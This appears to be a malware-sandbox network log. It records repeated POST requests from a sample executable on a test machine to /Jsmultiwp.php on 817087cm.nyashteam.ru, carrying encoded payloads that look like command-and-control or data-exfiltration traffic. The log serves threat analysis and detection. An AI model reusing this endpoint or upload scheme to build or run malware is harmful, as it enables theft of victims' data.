Dec 10, 2024 19:01:52.176043987 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue
Dec 10, 2024 19:01:52.526109934 CET	2528	OUT	Data Raw: 55 55 58 5a 58 5c 55 54 5c 56 5b 59 50 5c 5a 5d 50 5a 59 58 50 5f 53 5e 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UUXZX\UT\V[YP\Z]PZYXP_S^_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ &!?4!Q,E>X"<;Y08+\1+>4;>8?!'U/$_" X('
Dec 10, 2024 19:01:53.589711905 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:54.485619068 CET	819	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BXsip4mwfi%2FWtxlPLhr%2B%2B%2Fx65jAPCFLvBgvHwc5aBeQaOExhFBkhT4hT0GpM4pfSBsl8TyRE5YGzeVQVUaNdspIepYNmvtf24NEuG05KKlqYHnEuCedkW%2BWBX0VMmpqhKThh1bfDusU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff248c7dea3487-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=174511&min_rtt=168252&rtt_var=75614&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2827&delivery_rate=6687&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49881	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:54.773714066 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:55.119885921 CET	2528	OUT	Data Raw: 50 59 5d 5b 58 5b 55 5d 5c 56 5b 59 50 58 5a 5c 50 5f 59 5b 50 54 53 55 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: PY][X[U]\V[YPXZ\P_Y[PTSU_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#&0)[</ Z5/)B9[ ,+Y'^818"482;;] !?T8;$_" X(7
Dec 10, 2024 19:01:55.860527992 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:56.097079039 CET	809	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Tc6yhUbGB4PXtEcVxVfWbCWJz52iu8Y58AuQXUhya41eDlxip8pd9%2FzPESyBlFzcytu9mUc939rEX2ajvwJl%2FjqRBLUaPrGq9JIyJkRFadJci4GhnVydIf6Mh8yuODpbvYPwhjYY9vg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff249b2ff8efa1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7616&min_rtt=2068&rtt_var=11872&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=31428&cwnd=163&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49884	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:56.336463928 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:56.682444096 CET	2528	OUT	Data Raw: 50 5f 58 5a 5d 5f 55 5d 5c 56 5b 59 50 5f 5a 5c 50 5d 59 59 50 58 53 5c 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: P_XZ]_U]\V[YP_Z\P]YYPXS\_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#]%!=< X6'>7&#<+Z';_2;V (=8/#Z61W8$_" X(+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49889	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:57.158354998 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 1856 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:57.513084888 CET	1856	OUT	Data Raw: 55 54 58 5a 5d 56 55 51 5c 56 5b 59 50 5a 5a 5c 50 5e 59 55 50 5c 53 5a 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UTXZ]VUQ\V[YPZZ\P^YUP\SZ_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#Y1-\<<#7,@*'&"<+]'?X%+!P +=8<!7T,+$_" X(
Dec 10, 2024 19:01:58.242109060 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:58.957089901 CET	959	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AdEpzv2v4kLd%2FlJXowPuJBphUyh5bEQQpEUEqote05TeFT2ddo3cYi%2B1i8kXUJw9eBO%2BIG3lvelYX7xOpqdWomJAUTcwA6vedKhXBrcxhY30oYtZO4s9SJxgCvNvQVYixMNGnbfrrmE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff24aa0d9d5e72-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4480&min_rtt=1689&rtt_var=6217&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2179&delivery_rate=60772&cwnd=192&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 15 24 06 34 38 3f 1d 22 32 0f 5c 2c 3a 2c 10 2d 28 2c 01 2d 01 39 5c 22 17 0c 11 3a 5a 39 06 3f 15 01 5f 25 21 26 5b 33 08 3d 57 2a 1e 28 51 06 1c 25 5a 24 2a 22 53 2b 3c 31 5b 27 2d 0d 06 2a 37 3a 06 2a 07 30 09 22 2b 38 5d 26 13 2c 0b 3c 3f 03 57 27 3f 3e 1d 38 0d 29 12 25 2d 2a 51 00 16 21 50 3c 0f 37 03 20 30 36 52 21 0c 28 17 28 35 30 00 30 2e 2b 0c 26 2c 2e 58 24 12 27 15 33 3c 3e 0b 33 12 09 5d 20 2f 27 52 31 23 23 5d 2d 03 28 57 00 3f 5a 4f 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$48?"2\,:,-(,-9\":Z9?_%!&[3=W(Q%Z$"S+<1['-7:0"+8]&,<?W'?>8)%-*Q!P<7 06R!((500.+&,.X$'3<>3] /'R1##]-(W?ZO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49890	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:57.709332943 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:58.057604074 CET	2528	OUT	Data Raw: 55 55 58 59 58 5e 50 50 5c 56 5b 59 50 5c 5a 51 50 5d 59 55 50 54 53 5d 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UUXYX^PP\V[YP\ZQP]YUPTS]_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ &U)X=? "',+'-Y#?$'#& .-?#_5!88$_" X('
Dec 10, 2024 19:01:58.800375938 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:59.066929102 CET	813	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aQrL3JBQ1aWaU3L7VwO%2FmZ0tHbHhtIR0ZpLpKhCA6cIMwP9fE4dNQbBbenP4JZZGPMelOh0mBX3SbzJE3q7ZE5p4jC7s8TOOM%2BUAxtzZkLq9rfedwDlDtXZu6tlz1h%2F0m%2FkISqs7ito%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff24ad89598cda-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7229&min_rtt=1947&rtt_var=11294&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=33029&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49896	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:59.317729950 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue
Dec 10, 2024 19:01:59.666796923 CET	2528	OUT	Data Raw: 50 5a 58 5e 58 5d 50 50 5c 56 5b 59 50 5a 5a 5a 50 55 59 5e 50 5d 53 54 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: PZX^X]PP\V[YPZZZPUY^P]ST_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#%0!??86D)B.4?40;'%% ;=8/;Z61+V,+$_" X(
Dec 10, 2024 19:02:00.403187990 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:00.690692902 CET	818	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p61nK29d6l%2Flid3%2Biq6QoCT7evFC%2FcFwHR9GEDYIHiuJA%2BkzOEVbV879YffhMoeReN%2F20D0%2BURU1o7j1wbNDITtVWXCXU7cHYuQTEJVJ1IkCWosHrrawWoiOsmhwq%2FDX7UfdO8IL8lo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff24b78d340f77-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3915&min_rtt=1713&rtt_var=5046&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2827&delivery_rate=75530&cwnd=230&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49898	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:00.925376892 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2516 Expect: 100-continue
Dec 10, 2024 19:02:01.276138067 CET	2516	OUT	Data Raw: 55 58 58 5e 5d 5d 50 51 5c 56 5b 59 50 5d 5a 59 50 5b 59 55 50 5b 53 5a 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UXX^]]PQ\V[YP]ZYP[YUP[SZ_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#\&#\?,#5Q3+$97?7[';81%#1Z/<<51,,+$_" X(
Dec 10, 2024 19:02:02.037144899 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:02.277204037 CET	817	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L7BhkP%2B%2BDxaH6gUqqXXhgKmGyYq%2BJvkfT%2BV4n0sxrzwENAWIjj%2FhTpZjeffgLa2SHwMC51ChT4DdZpzPUZocr9vIUCrdIfSCGNW9fPn1Xk1OJdUkf3IJRmTyY2QAGG%2BBBffQEnjJyI4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff24c1c82b430d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=11440&min_rtt=9342&rtt_var=7700&sent=4&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2815&delivery_rate=55870&cwnd=224&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49903	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:02.629831076 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:02:03.014458895 CET	2528	OUT	Data Raw: 50 5a 5d 5c 58 5c 55 51 5c 56 5b 59 50 58 5a 50 50 55 59 5d 50 5a 53 5f 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: PZ]\X\UQ\V[YPXZPPUY]PZS__X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#_11<<54?). ?8'^'\%+ ;*,/ 5(8$_" X(7
Dec 10, 2024 19:02:04.041758060 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49909	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:04.086132050 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 1820 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:02:04.432404041 CET	1820	OUT	Data Raw: 55 5b 58 5d 58 5b 55 55 5c 56 5b 59 50 5d 5a 5f 50 54 59 58 50 5a 53 5f 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U[X]X[UU\V[YP]Z_PTYXPZS__X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#_11Z???!)44;Z$88$8="(1];52#U/$_" X(;
Dec 10, 2024 19:02:05.513415098 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:06.428591013 CET	968	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xkLlB9hEgQi8qb9BdvpXKl%2FEd34cAwU%2FW29fl9RbJ8Epzq5Juoca5g3Sfw1EUDj6FXd%2FVceJv9%2Fdgs3BKv87s%2ByIw8Es%2BGDseud0DKDcW1HcJVneeoreM4JAlsDarahF2G5EJPZpkgQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff24d6ec10e094-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=169116&min_rtt=168343&rtt_var=64674&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2143&delivery_rate=8365&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 15 24 02 37 38 3c 0d 20 21 22 01 2d 3a 24 5b 2e 38 0d 5d 2d 06 31 16 36 3a 26 59 3a 05 25 03 2b 5d 23 5b 25 0b 2a 10 27 26 35 56 3e 1e 28 51 06 1c 26 03 30 29 32 51 2b 59 2e 00 33 3e 33 07 29 37 3e 07 28 2d 38 0a 23 38 3f 07 26 2d 2c 08 3c 3f 0c 0a 26 3c 3a 1a 3b 0a 39 5e 27 3d 2a 51 00 16 22 09 28 31 1a 5f 22 30 2d 0d 35 54 20 5e 28 1c 33 5a 30 2e 20 54 33 02 03 01 30 2c 0d 16 25 3c 21 55 30 2c 3b 59 34 11 34 0b 27 33 23 5d 2d 03 28 57 00 3f 5a 4f 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$78< !"-:$[.8]-16:&Y:%+]#[%'&5V>(Q&0)2Q+Y.3>3)7>(-8#8?&-,<?&<:;9^'=Q"(1_"0-5T ^(3Z0. T30,%<!U0,;Y44'3#]-(W?ZO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49910	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:04.285756111 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:02:04.636202097 CET	2528	OUT	Data Raw: 50 59 58 5e 5d 5a 55 53 5c 56 5b 59 50 5c 5a 5e 50 5e 59 54 50 5b 53 5a 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: PYX^]ZUS\V[YP\Z^P^YTP[SZ_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#&=,$6?)$27<%;?&(=Q +6,^"2#/;$_" X('
Dec 10, 2024 19:02:05.714833975 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:06.423368931 CET	823	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4tufzZD15ADSrpTCbijne3T1HF7QbizYSx0o5Xd%2BSyvRELOzfqxlzeWaG%2F0d%2Bpdmu0hcMQ%2F9lW5Jge%2BQ9Etzj5G%2B%2FSGtTlFM7A7Zl69rfiAfs6sgKOn5%2BknggnZZCoJT3Pu9N3BhX2o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff24d83b3bd78f-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=175002&min_rtt=168335&rtt_var=76461&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=6586&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49916	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:06.674635887 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue
Dec 10, 2024 19:02:07.026233912 CET	2528	OUT	Data Raw: 55 58 5d 5e 58 5d 50 54 5c 56 5b 59 50 55 5a 51 50 5c 59 5e 50 5c 53 5d 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UX]^X]PT\V[YPUZQP\Y^P\S]_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ &)?Z4! D)B-7??X3]28!U78.;<#]68/$_" X(
Dec 10, 2024 19:02:08.115295887 CET	25	IN	HTTP/1.1 100 Continue
